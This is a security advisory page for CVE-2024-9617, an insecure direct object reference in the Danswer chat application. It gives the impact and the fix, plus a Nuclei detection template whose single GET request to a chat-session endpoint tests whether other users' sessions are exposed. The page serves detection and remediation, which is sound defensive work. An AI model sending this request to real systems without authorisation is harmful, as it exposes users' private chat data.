Danswer - Insecure Direct Object Reference

mediumseverity

6.5CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.

Impact

Authenticated attackers can access and view files belonging to other users without proper authorization checks through insecure direct object references, leading to unauthorized disclosure of sensitive chat files and data.

Fix

Update Danswer to a version that implements proper authorization checks to verify file ownership before allowing access through the GET /api/chat/file/{file_id} and GET /api/chat/get-chat-session endpoints.

How to confirm it

Send: GET {{BaseURL}}/api/chat/get-chat-session/1?is_shared=True
Positive when: contains_all(body, "chat_session_id", "description", "persona_id") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-9617 -u <target>

The full check

id: CVE-2024-9617

info:
  name: Danswer - Insecure Direct Object Reference
  author: s4e-io
  severity: medium
  description: |
    The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.
  impact: |
    Authenticated attackers can access and view files belonging to other users without proper authorization checks through insecure direct object references, leading to unauthorized disclosure of sensitive chat files and data.
  remediation: |
    Update Danswer to a version that implements proper authorization checks to verify file ownership before allowing access through the GET /api/chat/file/{file_id} and GET /api/chat/get-chat-session endpoints.
  reference:
    - https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146
    - https://github.com/danswer-ai/danswer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9617
    cwe-id: CWE-284
    epss-score: 0.01722
    epss-percentile: 0.77689
  metadata:
    verified: true
    max-request: 1
    vendor: danswer-ai
    product: danswer
    fofa-query: icon_hash="484766002"
  tags: cve,cve2024,danswer,idor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "chat_session_id", "description", "persona_id")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from